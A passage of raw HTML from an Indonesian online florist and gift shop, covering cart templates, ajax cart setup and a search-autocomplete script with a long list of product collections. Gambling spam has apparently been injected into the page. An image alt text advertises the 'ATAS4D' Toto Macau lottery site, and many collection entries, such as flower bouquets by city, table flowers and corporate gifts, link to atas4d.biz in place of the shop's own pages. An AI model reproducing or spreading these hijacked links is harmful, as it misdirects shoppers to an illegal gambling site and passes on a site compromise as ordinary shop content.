0.566-0.075 1.133-0.073 1.658 0.004 0.839 0.098 1.47 0.216 1.78z"></path> <path fill="#fff" d="M14.43 8.138c-0.008 0.245-0.207 0.438-0.445 0.43s-0.424-0.213-0.417-0.459c0.001-0.026 0.001-0.026 0.002-0.051 0.029-0.909 0.047-1.282 0.102-1.792 0.164-1.528 0.58-2.665 1.434-3.481 2.037-1.949 5.235-0.623 5.066 2.208-0.007 0.119-0.018 0.331-0.029 0.608-0.022 0.539-0.033 1.084-0.029 1.59 0.007 0.797 0.053 1.412 0.139 1.744 0.062 0.237-0.075 0.481-0.305 0.544s-0.466-0.077-0.528-0.314c-0.111-0.427-0.161-1.097-0.168-1.966-0.004-0.523 0.007-1.081 0.029-1.634 0.011-0.284 0.023-0.502 0.030-0.626 0.119-1.995-2.13-2.927-3.619-1.501-0.673 0.644-1.021 1.591-1.164 2.927-0.051 0.479-0.069 0.838-0.097 1.723-0.001 0.026-0.001 0.026-0.002 0.052z"></path> </svg>
13543      </a>
13544    </div>
13545    <div class="drawer__title h4">Keranjang Belanja</div>
13546    <div class="drawer__close js-drawer-close">
13547      <button type="button">
13548        <svg class="icon icon-close" version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32">
13549<title>icon-close</title>
13550<path d="M16.943 16l8.862 8.862c0.26 0.26 0.26 0.682 0 0.943s-0.682 0.26-0.943 0l-8.862-8.862-8.862 8.862c-0.26 0.26-0.682 0.26-0.943 0s-0.26-0.682 0-0.943l8.862-8.862-8.862-8.862c-0.26-0.26-0.26-0.682 0-0.943s0.682-0.26 0.943 0l8.862 8.862 8.862-8.862c0.26-0.26 0.682-0.26 0.943 0s0.26 0.682 0 0.943l-8.862 8.862z"></path>
13551</svg>
13552      </button>
13553    </div>
13554  </div>
13555  <div id="CartContainer" class="p-2"></div>
13556</div>
13557
13558<script>
13559      
13560    </script>
13560
13561      
13561<script src="https://outerbloom.com/cdn/shop/t/138/assets/handlebars.min.js?v=79044469952368397291752652415" defer></script>
13561
13562      <!-- /snippets/ajax-cart-template.liquid -->
13563
13564  
13564<script id="CartTemplate" type="text/template">
13565  
13566    <form action="/cart" method="post" novalidate class="cart ajaxcart">
13567      <div class="ajaxcart__inner" {{ cart.item_count }}>
13568        {{#items}}
13569        <div class="ajaxcart__product">
13570          <div class="ajaxcart__row" data-line="{{line}}">
13571            <div class="grid">
13572              <div class="grid__item one-quarter">
13573                <a href="{{url}}" class="ajaxcart__product-image"><img src="{{img}}" alt="ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap"></a>
13574              </div>
13575              <div class="grid__item three-quarters">
13576                <p class="d-block mb-3">
13577                  <a class="h4 d-block mb-2" href="{{url}}" class="ajaxcart__product-name">{{name}}</a>
13578                  {{#if variation}}
13579                    <span class="ajaxcart__product-meta p">{{variation}}</span>
13580                  {{/if}}
13581                  {{#properties}}
13582                    {{#each this}}
13583                      {{#if this}}
13584                        <span class="ajaxcart__product-meta p hide">{{@key}}: {{this}}</span>
13585                      {{/if}}
13586                    {{/each}}
13587                  {{/properties}}
13588                  
13589                </p>
13590                <div class="grid--full display-table">
13591                  <div class="grid__item display-table-cell one-half">
13592                    <div class="ajaxcart__qty">
13593                      <button type="button" class="ajaxcart__qty-adjust ajaxcart__qty--minus" data-id="{{key}}" data-qty="{{itemMinus}}" data-line="{{line}}">
13594                        <svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 32 32"><title>icon-minus</title><path d="M6.667 16.667c-0.368 0-0.667-0.298-0.667-0.667s0.298-0.667 0.667-0.667h18.667c0.368 0 0.667 0.298 0.667 0.667s-0.298 0.667-0.667 0.667h-18.667z"></path></svg>
13595                        <span class="visually-hidden">Kurangi jumlah barang</span>
13596                      </button>
13597                      <input type="text" name="updates[]" class="btn ajaxcart__qty-num" value="{{itemQty}}" min="0" data-id="{{key}}" data-line="{{line}}" aria-label="quantity" pattern="[0-9]*">
13598                      <button type="button" class="ajaxcart__qty-adjust ajaxcart__qty--plus" data-id="{{key}}" data-line="{{line}}" data-qty="{{itemAdd}}">
13599                        <svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 32 32"><title>icon-plus</title><path d="M16.667 15.333h8.667c0.368 0 0.667 0.298 0.667 0.667s-0.298 0.667-0.667 0.667h-8.667v8.667c0 0.368-0.298 0.667-0.667 0.667s-0.667-0.298-0.667-0.667v-8.667h-8.667c-0.368 0-0.667-0.298-0.667-0.667s0.298-0.667 0.667-0.667h8.667v-8.667c0-0.368 0.298-0.667 0.667-0.667s0.667 0.298 0.667 0.667v8.667z"></path></svg>
13600                        <span class="visually-hidden">Tambahkan jumlah barang</span>
13601                      </button>
13602                    </div>
13603                  </div>
13604                  <div class="grid__item display-table-cell one-half text-right">
13605                    {{#if discountsApplied}}
13606                      <small class="ajaxcart-item__price-strikethrough"><s>{{{originalLinePrice}}}</s></small>
13607                      <br><span class="h4">{{{linePrice}}}</span>
13608                    {{else}}
13609                      <span class="h4">{{{linePrice}}}</span>
13610                    {{/if}}
13611                    </div>
13612                  </div>
13613                  {{#if discountsApplied}}
13614                    <div class="grid--full display-table">
13615                      <div class="grid__item text-right">
13616                        {{#each discounts}}
13617                          <small class="ajaxcart-item__discount">{{ this.title }}</small><br>
13618                        {{/each}}
13619                      </div>
13620                    </div>
13621                  {{/if}}
13622                  </div>
13623                </div>
13624              </div>
13625            </div>
13626          </div>
13627        </div>
13628        {{/items}}
13629      </div>
13630      <div class="ajaxcart__footer">
13631        <div class="grid--full cart-subtotal py-2">
13632            <p>Subtotal</p>
13633            <h3 class="primary">{{{totalPrice}}}</h3>
13634          {{#if totalCartDiscount}}
13635            <p class="ajaxcart__savings text-center"><em>{{{totalCartDiscount}}}</em></p>
13636          {{/if}}
13637        </div>
13638        
13639        <a href="/cart" class="btn btn-cta view-more btn-block cart__checkout mt-2">Checkout</a>
13640        
13641        <p class="cart-checkout-shipping hide">Free Ongkir dengan belanja di atas Rp.100.000 <a href="/pages/pengiriman">detail</a></p>
13642      </div>
13643    </form>
13644  
13645  </script>
13645
13646  
13646<script id="AjaxQty" type="text/template">
13647  
13648    <div class="ajaxcart__qty">
13649      <button type="button" class="ajaxcart__qty-adjust ajaxcart__qty--minus" data-id="{{key}}" data-qty="{{itemMinus}}">
13650        <svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 32 32">
13651			<title>icon-minus</title>
13652			<path d="M6.667 16.667c-0.368 0-0.667-0.298-0.667-0.667s0.298-0.667 0.667-0.667h18.667c0.368 0 0.667 0.298 0.667 0.667s-0.298 0.667-0.667 0.667h-18.667z"></path>
13653		</svg>
13654        <span class="visually-hidden">Kurangi jumlah barang</span>
13655      	</button>
13656      		<input type="text" class="ajaxcart__qty-num" value="{{itemQty}}" min="0" data-id="{{key}}" aria-label="quantity" pattern="[0-9]*">
13657      	<button type="button" class="ajaxcart__qty-adjust ajaxcart__qty--plus" data-id="{{key}}" data-qty="{{itemAdd}}">
13658        <svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 32 32"><title>icon-plus</title><path d="M16.667 15.333h8.667c0.368 0 0.667 0.298 0.667 0.667s-0.298 0.667-0.667 0.667h-8.667v8.667c0 0.368-0.298 0.667-0.667 0.667s-0.667-0.298-0.667-0.667v-8.667h-8.667c-0.368 0-0.667-0.298-0.667-0.667s0.298-0.667 0.667-0.667h8.667v-8.667c0-0.368 0.298-0.667 0.667-0.667s0.667 0.298 0.667 0.667v8.667z"></path></svg>
13659        <span class="visually-hidden">Tambahkan jumlah barang</span>
13660      </button>
13661    </div>
13662  
13663  </script>
13663
13664  
13664<script id="JsQty" type="text/template">
13665  
13666    <div class="js-qty mt-2">
13667      <button type="button" data-action="minus" class="js-qty__adjust js-qty__adjust--minus" data-id="{{key}}" data-qty="{{itemMinus}}">
13668        <svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 32 32"><title>icon-minus</title><path d="M6.667 16.667c-0.368 0-0.667-0.298-0.667-0.667s0.298-0.667 0.667-0.667h18.667c0.368 0 0.667 0.298 0.667 0.667s-0.298 0.667-0.667 0.667h-18.667z"></path></svg>
13669        <span class="visually-hidden">Kurangi jumlah barang</span>
13670      </button>
13671      <input type="text" class="js-qty__num" value="{{itemQty}}" min="1" data-id="{{key}}" aria-label="quantity" pattern="[0-9]*" name="{{inputName}}" id="{{inputId}}">
13672      <button type="button" data-action="plus" class="js-qty__adjust js-qty__adjust--plus" data-id="{{key}}" data-qty="{{itemAdd}}">
13673        <svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 32 32"><title>icon-plus</title><path d="M16.667 15.333h8.667c0.368 0 0.667 0.298 0.667 0.667s-0.298 0.667-0.667 0.667h-8.667v8.667c0 0.368-0.298 0.667-0.667 0.667s-0.667-0.298-0.667-0.667v-8.667h-8.667c-0.368 0-0.667-0.298-0.667-0.667s0.298-0.667 0.667-0.667h8.667v-8.667c0-0.368 0.298-0.667 0.667-0.667s0.667 0.298 0.667 0.667v8.667z"></path></svg>
13674        <span class="visually-hidden">Tambahkan jumlah barang</span>
13675      </button>
13676    </div>
13677  
13678  </script>
13678
13679
13680<style>
13681  #CartDrawer .ajaxcart__product.nExtra.Shipping.Cost .ajaxcart__qty button,
13682  #CartDrawer .ajaxcart__product.n3D2N .ajaxcart__qty button,
13683  #CartDrawer .ajaxcart__product.n4D3N .ajaxcart__qty button {display: none;}
13684  #CartDrawer .ajaxcart__product.nExtra.Shipping.Cost .ajaxcart__qty input,
13685  #CartDrawer .ajaxcart__product.n3D2N .ajaxcart__qty input,
13686  #CartDrawer .ajaxcart__product.n4D3N .ajaxcart__qty input {pointer-events: none;opacity: 0.5;}
13687  #CartDrawer .ajaxcart__product.nExtra.Shipping.Cost .ajaxcart__qty input,
13688  #CartDrawer .ajaxcart__product.n3D2N .ajaxcart__qty input,
13689  #CartDrawer .ajaxcart__product.n4D3N .ajaxcart__qty input {pointer-events: none;}
13690</style>
13691      
13691<script src="https://outerbloom.com/cdn/shop/t/138/assets/ajax-cart.js?v=51128912329657147331752652452" defer></script>
13691
13692      
13692<script>
13693        jQuery(function($) {
13694          ajaxCart.init({
13695            formSelector: '#AddToCartForm',
13696            cartContainer: '#CartContainer',
13697            addToCartSelector: '#AddToCartXX',
13698            cartCountSelector: '#CartCount, #CartCount2',
13699            cartCostSelector: '#CartCost',
13700            moneyFormat: "Rp {{amount_no_decimals}}"
13701          });
13702          });
13703
13704          jQuery(document.body).on('afterCartLoad.ajaxCart', function(evt, cart) {
13705            // Bind to 'afterCartLoad.ajaxCart' to run any javascript after the cart has loaded in the DOM
13706            timber.RightDrawer.open();
13707          });
13708      </script>
13708
13709    
13710
13711
13712
13713<style>
13714  /** Search AutoComplete **/
13715  .resultsearch .ui-menu-item[data-cat="Collection"],
13716  .resultsearch .ui-menu-item[data-cat="Collection"] {display: none;}
13717  .resultsearch .ui-widget.ui-widget-content {
13718    width: 100%;
13719    top: 48px;
13720    border: none;
13721    box-shadow: 0 4px 8px rgba(0, 0, 0, 0.3);
13722  }
13723  .resultsearch .ui-menu-item {text-align: left;}
13724  .resultsearch .ui-menu-item>a, .resultsearch .ui-menu-item>span {display: inline-block;width: 100%;font-size: 16px;}.resultsearch .ui-menu-item img {vertical-align: middle;}.resultsearch .ui-menu-item a[data-cat="Collection"] img {display: none;}.resultsearch .ui-menu .ui-state-focus, .resultsearch .ui-menu .ui-state-active {margin: 0;}.ui-state-active, .ui-widget-content .ui-state-active {background: #f2f2f2;border: none;color: #212121;}.resultsearch .ui-menu-item>a,.resultsearch .ui-menu-item>span {display: inline-block;width: 100%;font-size: 13px;}.resultsearch .ui-menu-item a[data-cat="Produk"] img {margin-right: 10px;}.resultsearch .ui-menu-item a[data-cat="Produk"] .price {float: right;padding: 15px 0;}.ui-autocomplete-category.ui-menu-item[data-cat="Produk"]:before {content: "Product Populer";font-size: 13px;padding: 5px;margin: 5px 0;background: #f2f2f2;width: 100%;display: block;color: #212121;}.ui-autocomplete-category.ui-menu-item[data-cat="Produk"] span {display: none;}
13725  .ui-state-active {
13726    border: none!important;
13727    background-color: #fafafa!important;
13728    color: #000!important;
13729  }
13730  .ui-menu-item a[data-cat="Collection"] {padding: 5px 12px;}
13731  .ui-menu .ui-menu-item {line-height: normal;}
13732</style>
13733<script>
13734$(window).load(function(){
13735
13736  function format(item) {var cell = '';cell += "<a data-cat=" + item.category + " " + "href=" + item.url + ">" + "<img src=" + item.images + "/>" + "<span class='title'>" + item.label + "</span>" + "<span class='price'>" + item.price + "</span>" + "</a>";return cell;}
13737
13738  $.widget("custom.catcomplete", $.ui.autocomplete, {
13739    _renderMenu: function (ul, items) {
13740      // have search reults split up in categories
13741      var that = this,
13742          currentCategory = "";
13743      $.each(items, function (index, item) {
13744        if (item.category != currentCategory) {
13745          ul.append("<li class='ui-autocomplete-category' data-cat=" + item.category + ">" + "<span>" + item.category + "</span>" + "</li>");
13746          currentCategory = item.category;
13747        }
13748        that._renderItemData(ul, item);
13749      });
13750    }
13751  });
13752
13753  // higlight searched for term
13754  $.ui.autocomplete.prototype._renderItem = function( ul, item ) {
13755    var term = this.element.val(),
13756        html = item.label.replace( term, "<b>$&</b>" );
13757    return $( "<li>" )
13758    .append(format(item))
13759    .appendTo( ul );
13760  };
13761
13762
13763  var data = [
13764      { label: "3D Cookies", category: "Collection", url: "/collections/3d-cookies", images: " ", price: " " },{ label: "< Rp 500.000", category: "Collection", url: "/collections/rp-500-000", images: " ", price: " " },{ label: "> Rp 1.000.000", category: "Collection", url: "/collections/rp-1-000-000", images: " ", price: " " },{ label: "Ajmal", category: "Collection", url: "/collections/ajmal", images: " ", price: " " },{ label: "Alamat Rumah Duka", category: "Collection", url: "/collections/rumah-duka", images: " ", price: " " },{ label: "Anggrek Bulan", category: "Collection", url: "/collections/anggrek-bulan", images: " ", price: " " },{ label: "Anniversary Gift", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Aquarius ♒️ 20Jan - 18Feb", category: "Collection", url: "/collections/kado-untuk-zodiak-aquarius", images: " ", price: " " },{ label: "Aries ♈️ 21March - 19April", category: "Collection", url: "/collections/kado-untuk-zodiak-aries", images: " ", price: " " },{ label: "Armaf", category: "Collection", url: "/collections/armaf", images: " ", price: " " },{ label: "Aromatherapy Diffuser", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Artisan Soap", category: "Collection", url: "/collections/artisan-soap", images: " ", price: " " },{ label: "Artisan Tea", category: "Collection", url: "/collections/artisan-tea", images: " ", price: " " },{ label: "AsmaraKu", category: "Collection", url: "/collections/asmaraku", images: " ", price: " " },{ label: "Atkinsons", category: "Collection", url: "/collections/atkinsons", images: " ", price: " " },{ label: "Autumn by Outerbloom", category: "Collection", url: "/collections/autumn-by-outerbloom", images: " ", price: " " },{ label: "Autumn by Outerbloom Chinese New Year", category: "Collection", url: "/collections/autumn-by-outerbloom-chinese-new-year", images: " ", price: " " },{ label: "Autumn by Outerbloom Christmas", category: "Collection", url: "/collections/autumn-by-outerbloom-christmas", images: " ", price: " " },{ label: "Autumn by Outerbloom Luar Jadetabek", category: "Collection", url: "/collections/autumn-by-outerbloom-luar-jadetabek", images: " ", price: " " },{ label: "Autumn by Outerbloom Ramadan", category: "Collection", url: "/collections/autumn-by-outerbloom-ramadan", images: " ", price: " " },{ label: "Autumn Pop", category: "Collection", url: "/collections/autumn-pop", images: " ", price: " " },{ label: "Bachelorette", category: "Collection", url: "/collections/bachelorette", images: " ", price: " " },{ label: "Bachelorette Cookies", category: "Collection", url: "/collections/bachelorette-cookies", images: " ", price: " " },{ label: "Bag Newborn Hampers", category: "Collection", url: "/collections/bag-newborn-hampers", images: " ", price: " " },{ label: "Balon", category: "Collection", url: "/collections/balon", images: " ", price: " " },{ label: "Beauty Package", category: "Collection", url: "/collections/beauty-package", images: " ", price: " " },{ label: "Best Deal", category: "Collection", url: "/collections/best-deal", images: " ", price: " " },{ label: "Best Seller", category: "Collection", url: "/collections/best-seller", images: " ", price: " " },{ label: "Best Valentine's Deals", category: "Collection", url: "/collections/bes-valentines-deals", images: " ", price: " " },{ label: "Best Value Newborn Hampers Collection", category: "Collection", url: "/collections/best-value-newborn-hampers-collection", images: " ", price: " " },{ label: "Black Tea", category: "Collection", url: "/collections/black-tea", images: " ", price: " " },{ label: "Blessing Hampers", category: "Collection", url: "/collections/blessing-hampers", images: " ", price: " " },{ label: "Bloom Box", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Bloomcard", category: "Collection", url: "/collections/bloomcard", images: " ", price: " " },{ label: "Boutonniere", category: "Collection", url: "/collections/boutonniere", images: " ", price: " " },{ label: "Bracelet", category: "Collection", url: "/collections/gelang", images: " ", price: " " },{ label: "Buket Bunga Bali", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Buket Bunga Bandung", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Buket Bunga Batam", category: "Collection", url: "https://atas4d.biz/-batam", images: " ", price: " " },{ label: "Buket Bunga Demak", category: "Collection", url: "https://atas4d.biz/-demak", images: " ", price: " " },{ label: "Buket Bunga Fresh", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Buket Bunga Jepara", category: "Collection", url: "https://atas4d.biz/-jepara", images: " ", price: " " },{ label: "Buket Bunga Medan", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Buket Bunga Nusantara", category: "Collection", url: "https://atas4d.biz/-nusantara", images: " ", price: " " },{ label: "Buket Bunga Semarang", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Buket Bunga Sidoarjo", category: "Collection", url: "https://atas4d.biz/-sidoarjo", images: " ", price: " " },{ label: "Buket Bunga Surabaya", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Buket Bunga Tangerang", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Buket Bunga Uang", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Buket Bunga Valentine", category: "Collection", url: "https://atas4d.biz/-valentine", images: " ", price: " " },{ label: "Buket Bunga Yogyakarta", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Bunga Anggrek Bali", category: "Collection", url: "/collections/bunga-anggrek-bali", images: " ", price: " " },{ label: "Bunga Anggrek Bandung", category: "Collection", url: "/collections/bunga-anggrek-bandung", images: " ", price: " " },{ label: "Bunga Anggrek Surabaya", category: "Collection", url: "/collections/bunga-anggrek-surabaya", images: " ", price: " " },{ label: "Bunga Anniversary", category: "Collection", url: "/collections/bunga-anniversary", images: " ", price: " " },{ label: "Bunga Artificial", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Bunga Buket", category: "Collection", url: "/collections/bunga-buket", images: " ", price: " " },{ label: "Bunga Carnations Bali", category: "Collection", url: "/collections/bunga-carnations-bali", images: " ", price: " " },{ label: "Bunga Carnations Bandung", category: "Collection", url: "/collections/bunga-carnations-bandung", images: " ", price: " " },{ label: "Bunga Carnations Surabaya", category: "Collection", url: "/collections/bunga-carnations-surabaya", images: " ", price: " " },{ label: "Bunga Daisy Bali", category: "Collection", url: "/collections/bunga-daisy-bali", images: " ", price: " " },{ label: "Bunga Daisy Bandung", category: "Collection", url: "/collections/bunga-daisy-bandung", images: " ", price: " " },{ label: "Bunga Daisy Surabaya", category: "Collection", url: "/collections/bunga-daisy-surabaya", images: " ", price: " " },{ label: "Bunga Gerbera Bali", category: "Collection", url: "/collections/bunga-gerbera-bali", images: " ", price: " " },{ label: "Bunga Gerbera Bandung", category: "Collection", url: "/collections/bunga-gerbera-bandung", images: " ", price: " " },{ label: "Bunga Gerbera Surabaya", category: "Collection", url: "/collections/bunga-gerbera-surabaya", images: " ", price: " " },{ label: "Bunga Imlek", category: "Collection", url: "/collections/rangkaian-bunga-tahun-baru-imlek", images: " ", price: " " },{ label: "Bunga Lebaran", category: "Collection", url: "/collections/rangkaian-bunga-lebaran", images: " ", price: " " },{ label: "Bunga Lily Bali", category: "Collection", url: "/collections/bunga-lily-bali", images: " ", price: " " },{ label: "Bunga Lily Bandung", category: "Collection", url: "/collections/bunga-lily-bandung", images: " ", price: " " },{ label: "Bunga Lily Surabaya", category: "Collection", url: "/collections/bunga-lily-surabaya", images: " ", price: " " },{ label: "Bunga Matahari Bali", category: "Collection", url: "/collections/bunga-matahari-bali", images: " ", price: " " },{ label: "Bunga Matahari Bandung", category: "Collection", url: "/collections/bunga-matahari-bandung", images: " ", price: " " },{ label: "Bunga Matahari Surabaya", category: "Collection", url: "/collections/bunga-matahari-surabaya", images: " ", price: " " },{ label: "Bunga Mawar Bali", category: "Collection", url: "/collections/bunga-mawar-bali", images: " ", price: " " },{ label: "Bunga Mawar Bandung", category: "Collection", url: "/collections/bunga-mawar-bandung", images: " ", price: " " },{ label: "Bunga Mawar Surabaya", category: "Collection", url: "/collections/bunga-mawar-surabaya", images: " ", price: " " },{ label: "Bunga Meja", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Bunga Meja Bali", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Bunga Meja Bandung", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Bunga Meja Batam", category: "Collection", url: "https://atas4d.biz/-batam", images: " ", price: " " },{ label: "Bunga Meja Jepara", category: "Collection", url: "https://atas4d.biz/-jepara", images: " ", price: " " },{ label: "Bunga Meja Medan", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Bunga Meja Semarang", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Bunga Meja Sidoarjo", category: "Collection", url: "https://atas4d.biz/-sidoarjo", images: " ", price: " " },{ label: "Bunga Meja Surabaya", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Bunga Meja Tangerang", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Bunga Meja Yogyakarta", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Bunga Modern Pastel Bali", category: "Collection", url: "/collections/bunga-modern-pastel-bali", images: " ", price: " " },{ label: "Bunga Modern Pastel Bandung", category: "Collection", url: "/collections/bunga-modern-pastel-bandung", images: " ", price: " " },{ label: "Bunga Modern Pastel Medan", category: "Collection", url: "/collections/bunga-modern-pastel-medan", images: " ", price: " " },{ label: "Bunga Modern Pastel Semarang", category: "Collection", url: "/collections/bunga-modern-pastel-semarang", images: " ", price: " " },{ label: "Bunga Modern Pastel Surabaya", category: "Collection", url: "/collections/bunga-modern-pastel-surabaya", images: " ", price: " " },{ label: "Bunga Modern Pastel Yogyakarta", category: "Collection", url: "/collections/bunga-modern-pastel-yogyakarta", images: " ", price: " " },{ label: "Bunga Natal", category: "Collection", url: "/collections/rangkaian-bunga-christmas", images: " ", price: " " },{ label: "Bunga Papan", category: "Collection", url: "/collections/bunga-papan", images: " ", price: " " },{ label: "Bunga Pernikahan", category: "Collection", url: "/collections/bunga-pernikahan", images: " ", price: " " },{ label: "Bunga Plastik", category: "Collection", url: "/collections/bunga-plastik", images: " ", price: " " },{ label: "Bunga Tulip", category: "Collection", url: "/collections/bunga-tulip", images: " ", price: " " },{ label: "Bunga Ulang Tahun", category: "Collection", url: "/collections/bunga-ulang-tahun", images: " ", price: " " },{ label: "Bunga Wisuda", category: "Collection", url: "https://atas4d.biz/-wisuda", images: " ", price: " " },{ label: "Cake", category: "Collection", url: "/collections/kue", images: " ", price: " " },{ label: "Cake", category: "Collection", url: "/collections/cake", images: " ", price: " " },{ label: "Cake Sameday Delivery", category: "Collection", url: "/collections/cake-sameday-delivery", images: " ", price: " " },{ label: "Cake, Hampers & Gifts", category: "Collection", url: "/collections/cake-hampers", images: " ", price: " " },{ label: "Cancer ♋️ 22June - 22July", category: "Collection", url: "/collections/kado-untuk-zodiak-cancer", images: " ", price: " " },{ label: "Capricorn ♑️ 21Dec - 19Jan", category: "Collection", url: "/collections/kado-untuk-zodiak-capricorn", images: " ", price: " " },{ label: "Care Packages", category: "Collection", url: "/collections/toko-parcel-murah", images: " ", price: " " },{ label: "Care Packages (Keluarga, Sahabat, Karyawan)", category: "Collection", url: "/collections/sehat-bebas-corona", images: " ", price: " " },{ label: "Carnations", category: "Collection", url: "/collections/bunga-anyelir", images: " ", price: " " },{ label: "Celebration", category: "Collection", url: "/collections/celebration", images: " ", price: " " },{ label: "Chléa Paperie", category: "Collection", url: "/collections/chlea-paperie", images: " ", price: " " },{ label: "Chocodot", category: "Collection", url: "/collections/chocodot", images: " ", price: " " },{ label: "Christmas", category: "Collection", url: "/collections/christmas", images: " ", price: " " },{ label: "Christmas Holo Bag", category: "Collection", url: "/collections/christmas-holo-bag", images: " ", price: " " },{ label: "Christmas Holo Series", category: "Collection", url: "/collections/christmas-holo-series", images: " ", price: " " },{ label: "Classic Cake", category: "Collection", url: "/collections/classic-cake", images: " ", price: " " },{ label: "Classic CNY Hampers", category: "Collection", url: "/collections/classic-cny-hampers", images: " ", price: " " },{ label: "Classic CNY Hampers Luar Jabodetabek", category: "Collection", url: "/collections/classic-cny-hampers-luar-jabodetabek", images: " ", price: " " },{ label: "Classic Hampers", category: "Collection", url: "/collections/classic-hampers", images: " ", price: " " },{ label: "Classic Hampers Luar Jadetabek", category: "Collection", url: "/collections/classic-hampers-luar-jadetabek", images: " ", price: " " },{ label: "Classic Lebaran Hampers", category: "Collection", url: "/collections/classic-lebaran-hampers", images: " ", price: " " },{ label: "Classic Style Flowers", category: "Collection", url: "/collections/classic-style-flowers", images: " ", price: " " },{ label: "Cokelat", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Collection List", category: "Collection", url: "/collections/collection-list", images: " ", price: " " },{ label: "Condolences", category: "Collection", url: "/collections/axa-condolences", images: " ", price: " " },{ label: "Congratulations", category: "Collection", url: "/collections/rangkaian-bunga-ucapan-selamat", images: " ", price: " " },{ label: "Corporate Gifts", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Corporate Hampers", category: "Collection", url: "/collections/corporate-hampers", images: " ", price
13764: " " },{ label: "Couple Gift", category: "Collection", url: "/collections/couple-gift", images: " ", price: " " },{ label: "Craft Sweetbox Newborn", category: "Collection", url: "/collections/craft-sweetbox-newborn", images: " ", price: " " },{ label: "Crystal Florarium", category: "Collection", url: "/collections/crystal-florarium", images: " ", price: " " },{ label: "Cuddlemate Doll", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Cufflinks", category: "Collection", url: "/collections/cufflinks", images: " ", price: " " },{ label: "Cupcakes", category: "Collection", url: "/collections/cupcakes", images: " ", price: " " },{ label: "Custom Alat Tulis", category: "Collection", url: "/collections/alat-tulis", images: " ", price: " " },{ label: "Custom Cake", category: "Collection", url: "/collections/custom-cake", images: " ", price: " " },{ label: "Custom Card Holder", category: "Collection", url: "/collections/custom-card-holder", images: " ", price: " " },{ label: "Custom Coaster", category: "Collection", url: "/collections/custom-coaster", images: " ", price: " " },{ label: "Custom Cutlery", category: "Collection", url: "/collections/custom-cutlery", images: " ", price: " " },{ label: "Custom E-Money", category: "Collection", url: "/collections/custom-e-money", images: " ", price: " " },{ label: "Custom Earpod", category: "Collection", url: "/collections/custom-earpod", images: " ", price: " " },{ label: "Custom Fan", category: "Collection", url: "/collections/custom-fan", images: " ", price: " " },{ label: "Custom Jewelry", category: "Collection", url: "/collections/custom-jewelry", images: " ", price: " " },{ label: "Custom Keychain", category: "Collection", url: "/collections/custom-keychain", images: " ", price: " " },{ label: "Custom Medallion", category: "Collection", url: "/collections/custom-medallion", images: " ", price: " " },{ label: "Custom Mirror", category: "Collection", url: "/collections/custom-mirror", images: " ", price: " " },{ label: "Custom Mug", category: "Collection", url: "/collections/custom-mug", images: " ", price: " " },{ label: "Custom Necklace", category: "Collection", url: "/collections/custom-necklace", images: " ", price: " " },{ label: "Custom Notebook", category: "Collection", url: "/collections/custom-notebook", images: " ", price: " " },{ label: "Custom Pen & Pencil", category: "Collection", url: "/collections/custom-pen-pencil", images: " ", price: " " },{ label: "Custom Photo Frame", category: "Collection", url: "/collections/photo-frame", images: " ", price: " " },{ label: "Custom Pillow", category: "Collection", url: "/collections/bantal-custom", images: " ", price: " " },{ label: "Custom Powerbank", category: "Collection", url: "/collections/custom-powerbank", images: " ", price: " " },{ label: "Custom Scarf", category: "Collection", url: "/collections/custom-scarf", images: " ", price: " " },{ label: "Custom Speaker", category: "Collection", url: "/collections/custom-speaker", images: " ", price: " " },{ label: "Custom T-Shirt", category: "Collection", url: "/collections/custom-t-shirt", images: " ", price: " " },{ label: "Custom Tote Bag", category: "Collection", url: "/collections/custom-tote-bag", images: " ", price: " " },{ label: "Custom Tumbler Minuman", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "D'paris", category: "Collection", url: "/collections/dparis", images: " ", price: " " },{ label: "Daisy", category: "Collection", url: "/collections/bunga-aster", images: " ", price: " " },{ label: "Dekorasi", category: "Collection", url: "/collections/dekorasi", images: " ", price: " " },{ label: "Dekorasi Duka Cita", category: "Collection", url: "/collections/dekorasi-bunga-duka-cita", images: " ", price: " " },{ label: "Dekorasi Pemakaman", category: "Collection", url: "/collections/dekorasi-pemakaman", images: " ", price: " " },{ label: "Dekorasi Pernikahan", category: "Collection", url: "/collections/dekorasi-bunga-pernikahan", images: " ", price: " " },{ label: "Dekorasi Ulang Tahun", category: "Collection", url: "/collections/dekorasi-bunga-ulang-tahun", images: " ", price: " " },{ label: "Delivery", category: 